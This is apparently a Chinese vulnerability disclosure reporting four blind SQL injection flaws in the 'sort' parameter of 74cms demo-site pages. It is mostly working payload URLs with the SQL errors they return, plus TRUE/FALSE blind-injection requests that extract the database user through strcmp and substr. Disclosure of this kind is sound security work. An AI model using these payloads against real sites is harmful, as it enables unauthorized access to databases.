### 简要描述： 骑士CMS官网某新功能4处SQL盲注，官网测试。 ### 详细说明： 官网培训信息搜索和猎头工作搜索等4处SQL盲注。 0x01: 当前位置：首页 > 教育培训 > 课程列表 搜索课程 ``` http://demo.74cms.com/train/train-curriculum-list.php?district=&category=&sdistrict=&classtype=&start=&refre=&sort=hot%3Edesc&key= ``` 参数sort存在SQL注入,desc后面的字符串全部带入SQL： ``` http://demo.74cms.com/train/train-curriculum-list.php?district=&category=&sdistrict=&classtype=&start=&refre=&sort=hot%3Edesc%27&key= ``` 插入',返回错误： ``` Error：Query error:SELECT * FROM qs_course WHERE audit=1 AND display=1 AND add_mode=1 ORDER BY click desc\' LIMIT 0 , 10 ``` [<img src="https://images.seebug.org/upload/201411/03140244e466c3699c0a0ac247cc4de50d5c1dcf.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/03140244e466c3699c0a0ac247cc4de50d5c1dcf.png) 盲注： TRUE的情况： ```...
### 简要描述： 骑士CMS官网某新功能4处SQL盲注，官网测试。 ### 详细说明： 官网培训信息搜索和猎头工作搜索等4处SQL盲注。 0x01: 当前位置：首页 > 教育培训 > 课程列表 搜索课程 ``` http://demo.74cms.com/train/train-curriculum-list.php?district=&category=&sdistrict=&classtype=&start=&refre=&sort=hot%3Edesc&key= ``` 参数sort存在SQL注入,desc后面的字符串全部带入SQL： ``` http://demo.74cms.com/train/train-curriculum-list.php?district=&category=&sdistrict=&classtype=&start=&refre=&sort=hot%3Edesc%27&key= ``` 插入',返回错误： ``` Error：Query error:SELECT * FROM qs_course WHERE audit=1 AND display=1 AND add_mode=1 ORDER BY click desc\' LIMIT 0 , 10 ``` [<img src="https://images.seebug.org/upload/201411/03140244e466c3699c0a0ac247cc4de50d5c1dcf.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/03140244e466c3699c0a0ac247cc4de50d5c1dcf.png) 盲注： TRUE的情况： ``` http://demo.74cms.com/train/train-curriculum-list.php?district=&category=&sdistrict=&classtype=&start=&refre=&sort=hot%3Edesc,if(strcmp(substr(user(),1,14),char(114,111,111,116,64,108,111,99,97,108,104,111,115,116)),refreshtime,click)%20limit%201%23&key= ``` [<img src="https://images.seebug.org/upload/201411/03140342dded30ec056ed69a637cded321343ae8.png" alt="11.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/03140342dded30ec056ed69a637cded321343ae8.png) FALSE的情况： ``` http://demo.74cms.com/train/train-curriculum-list.php?district=&category=&sdistrict=&classtype=&start=&refre=&sort=hot%3Edesc,if(strcmp(substr(user(),1,13),char(114,111,111,116,64,108,111,99,97,108,104,111,115,116)),refreshtime,click)%20limit%201%23&key= ``` [<img src="https://images.seebug.org/upload/201411/03140428258e48a6dc063c3b4d93e6c1ac3f9545.png" alt="12.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/03140428258e48a6dc063c3b4d93e6c1ac3f9545.png) 0x02: 当前位置：首页 > 教育培训 > 机构列表 机构列表 ``` http://demo.74cms.com/train/train-agency-list.php?inforow=10&page=1&nature=&district=&sdistrict=&sort=hot%3Edesc ``` sort参数存在SQL注入： ``` http://demo.74cms.com/train/train-agency-list.php?inforow=10&page=1&nature=&district=&sdistrict=&sort=hot%3Edesc%27 ``` 插入',返回SQL错误： ``` Error：Query error:SELECT * FROM qs_train_profile ORDER BY click desc\' LIMIT 0 , 10 ``` [<img src="https://images.seebug.org/upload/201411/03140703e83b35109ff3fbba86a0ed2286d3cc4e.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/03140703e83b35109ff3fbba86a0ed2286d3cc4e.png) 盲注TRUE的情况： ``` http://demo.74cms.com/train/train-agency-list.php?inforow=10&page=1&nature=&district=&sdistrict=&sort=hot%3Easc,if(strcmp(substr(user(),1,14),char(114,111,111,116,64,108,111,99,97,108,104,111,115,116)),refreshtime,click)%20desc%20limit%201%23 ``` [<img src="https://images.seebug.org/upload/201411/03140751f2c40645b5709a0a98bc8a567a6c10b2.png" alt="21.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/03140751f2c40645b5709a0a98bc8a567a6c10b2.png) FALSE的情况： [<img src="https://images.seebug.org/upload/201411/03140811a089d15d088e07d8acb2d62a722741e0.png" alt="22.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/03140811a089d15d088e07d8acb2d62a722741e0.png) 0x03:当前位置：首页 > 教育培训 > 讲师列表 讲师列表 ``` http://demo.74cms.com/train/train-lecturer-list.php?education=&district=&sdistrict=&sort=hot%3Edesc&inforow= ``` sort参数存在SQL注入： ``` http://demo.74cms.com/train/train-lecturer-list.php?education=&district=&sdistrict=&sort=hot%3Edesc%27&inforow= ``` 返回SQL错误： ``` Error：Query error:SELECT * FROM qs_train_teachers WHERE audit=1 ORDER BY click desc\' LIMIT 0 , 10 ``` [<img src="https://images.seebug.org/upload/201411/03142036d560883dfb61c95c33161a648c10f7cf.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/03142036d560883dfb61c95c33161a648c10f7cf.png) 盲注TRUE的情况： ``` http://demo.74cms.com/train/train-lecturer-list.php?education=&district=&sdistrict=&sort=hot%3Easc,if(strcmp(substr(user(),1,14),char(114,111,111,116,64,108,111,99,97,108,104,111,115,116)),refreshtime,click)%20desc%20limit%201%23&inforow= ``` [<img src="https://images.seebug.org/upload/201411/0314123278a8a0b82c3dd84914b8a8ead773a626.png" alt="31.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/0314123278a8a0b82c3dd84914b8a8ead773a626.png) FALSE： ``` http://demo.74cms.com/train/train-lecturer-list.php?education=&district=&sdistrict=&sort=hot%3Easc,if(strcmp(substr(user(),1,13),char(114,111,111,116,64,108,111,99,97,108,104,111,115,116)),refreshtime,click)%20desc%20limit%201%23&inforow= ``` [<img src="https://images.seebug.org/upload/201411/031413246b3ccea64137096a4b5913c1559ab4e4.png" alt="32.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/031413246b3ccea64137096a4b5913c1559ab4e4.png) 0x04:当前位置：首页 > 高级招聘信息 > 搜索结果 搜索方式 : 全能搜索 ``` http://demo.74cms.com/hunter/jobs-list.php?sort=hot%3Edesc&page=1&jobcategory=&education=&citycategory=&experience=&settr=&trade=&wage=&nature= ``` sort存在SQL注入，注入'： ``` http://demo.74cms.com/hunter/jobs-list.php?sort=hot%3Edesc%27&page=1&jobcategory=&education=&citycategory=&experience=&settr=&trade=&wage=&nature= ``` 返回SQL错误： ``` Error：Query error:SELECT * FROM qs_hunter_jobs ORDER BY click desc\' LIMIT 0 , 10 ``` [<img src="https://images.seebug.org/upload/201411/031418158bca6906201aa823dd81a3a81f722ab9.png" alt="4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/031418158bca6906201aa823dd81a3a81f722ab9.png) 盲注TRUE： ``` http://demo.74cms.com/hunter/jobs-list.php?sort=hot%3Easc,if(strcmp(substr(user(),1,14),char(114,111,111,116,64,108,111,99,97,108,104,111,115,116)),refreshtime,click)%20desc%20limit%201%23&page=1&jobcategory=&education=&citycategory=&experience=&settr=&trade=&wage=&nature= ``` [<img src="https://images.seebug.org/upload/201411/0314160673a379a35d490946c9fdc1eef7c8a256.png" alt="41.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/0314160673a379a35d490946c9fdc1eef7c8a256.png) FALSE： ``` http://demo.74cms.com/hunter/jobs-list.php?sort=hot%3Easc,if(strcmp(substr(user(),1,13),char(114,111,111,116,64,108,111,99,97,108,104,111,115,116)),refreshtime,click)%20desc%20limit%201%23&page=1&jobcategory=&education=&citycategory=&experience=&settr=&trade=&wage=&nature= ``` [<img src="https://images.seebug.org/upload/201411/031416489979806f120d24b373d19b11b8e4c129.png" alt="42.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/031416489979806f120d24b373d19b11b8e4c129.png) ### 漏洞证明： [<img src="https://images.seebug.org/upload/201411/03140244e466c3699c0a0ac247cc4de50d5c1dcf.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/03140244e466c3699c0a0ac247cc4de50d5c1dcf.png) [<img src="https://images.seebug.org/upload/201411/03140703e83b35109ff3fbba86a0ed2286d3cc4e.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/03140703e83b35109ff3fbba86a0ed2286d3cc4e.png) [<img src="https://images.seebug.org/upload/201411/03142036d560883dfb61c95c33161a648c10f7cf.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/03142036d560883dfb61c95c33161a648c10f7cf.png) [<img src="https://images.seebug.org/upload/201411/031418158bca6906201aa823dd81a3a81f722ab9.png" alt="4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/031418158bca6906201aa823dd81a3a81f722ab9.png)
